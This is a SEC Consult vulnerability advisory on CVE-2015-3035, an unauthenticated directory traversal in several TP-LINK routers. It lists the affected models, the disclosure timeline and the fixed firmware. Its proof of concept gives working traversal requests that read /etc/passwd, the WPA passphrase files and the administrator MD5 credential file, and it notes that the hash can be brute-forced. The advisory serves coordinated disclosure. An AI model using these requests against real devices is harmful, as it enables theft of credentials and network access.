Message-ID: <5527B7BF.6010605@sec-consult.com>
Date: Fri, 10 Apr 2015 13:45:03 +0200
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: <fulldisclosure@...lists.org>, <bugtraq@...urityfocus.com>
Subject: SEC Consult SA-20150410-0 :: Unauthenticated Local File Disclosure
 in multiple TP-LINK products (CVE-2015-3035)

SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >
=======================================================================
              title: Unauthenticated Local File Disclosure
            product: Multiple TP-LINK products (see Vulnerable / tested versions)
 vulnerable version: Multiple (see Vulnerable / tested versions)
      fixed version: see Solution
         CVE number: CVE-2015-3035
             impact: Critical
           homepage: http://tp-link.com
              found: 2015-02-19
                 by: Stefan Viehböck (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Berlin - Frankfurt/Main - Montreal - Singapore
                     Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"TP-LINK is a global provider of SOHO & SMB networking products and the World's
No.1 provider of WLAN products, with products available in over 120 countries
to tens of millions customers. Committed to intensive R&D, efficient production
and strict quality management, TP-LINK continues to provide award-winning
networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline
Adapters, Print Servers, Media Converters and Network Adapters for Global
end-users."

Source: http://www.tp-link.us/about/?categoryid=102


Business recommendation:
------------------------
Attackers can read sensitive configuration files without prior authentication.
These files e.g. include the administrator credentials and the WPA passphrase.

TP-LINK has provided fixed firmware which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.


Proof of concept:
-----------------
The following HTTP request shows how directory traversal can be used to gain
access to files without prior authentication:
===============================================================================
GET /login/../../../etc/passwd HTTP/1.1
Host: $host

===============================================================================

The server response includes the contents of the file:
===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 683
Content-Type: text/html
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
admin:x:500:500:admin:/home:/bin/sh
guest:x:500:500:guest:/home:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh
===============================================================================

Several sensitive files can be read. These include:
Files containing Wi-Fi configuration including WPA-passphrase:
/login/../../../tmp/ath.ap_bss
/login/../../../tmp/ath1.ap_bss

A file containing administrator credentials (format: $user:md5($password), which can
be brute-forced very efficiently:
/login/../../../tmp/dropbear/dropbearpwd


Example server response:
===============================================================================
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
Keep-Alive:
Persist:
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 56
Content-Type: text/html
username:admin
password:11d0fc2ff3e7862d8a3f9b280e6d390c
===============================================================================


Vulnerable / tested versions:
-----------------------------
The vulnerability affects the following products:
TP-LINK Archer C5 (Hardware version 1.2)
TP-LINK Archer C7 (Hardware version 2.0)
TP-LINK Archer C8 (Hardware version 1.0)
TP-LINK Archer C9 (Hardware version 1.0)
TP-LINK TL-WDR3500 (Hardware version 1.0)
TP-LINK TL-WDR3600 (Hardware version 1.0)
TP-LINK TL-WDR4300 (Hardware version 1.0)
TP-LINK TL-WR740N (Hardware version 5.0)
TP-LINK TL-WR741ND (Hardware version 5.0)
TP-LINK TL-WR841N (Hardware version 9.0)
TP-LINK TL-WR841N (Hardware version 10.0)
TP-LINK TL-WR841ND (Hardware version 9.0)
TP-LINK TL-WR841ND (Hardware version 10.0)


Vendor contact timeline:
------------------------
2015-02-19: Contacting vendor through support@...link.com.
2015-02-24: Resending email as previous ticket has been closed by TP-LINK.
2015-02-24: Contacting technical support engineer of TP-LINK, contact received
            by 3rd party.
2015-02-25: Requesting encryption keys, providing affected models.
2015-02-26: No encryption keys available, sending advisory in unencrypted form.
2015-02-28: Vendor confirms vulnerability, provides beta firmware.
2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.
2015-03-06: Vendor is working on release schedule, affected devices.
2015-03-16: Vendor announces that fixed firmware will be released by the end of
            March.
2015-03-24: Vendor confirms that firmware releases are on schedule.
2015-04-08: Vendor provides final list of affected products & download URLs.
2015-04-10: Coordinated release of security advisory.


Solution:
---------
Update to the most recent firmware version:
TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048
TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008
TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052
TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020
TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018
TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019
TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009
TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012
TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013
TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033
TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036
TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035
TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037


Workaround:
-----------
See solution.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF Stefan Viehböck / @2015


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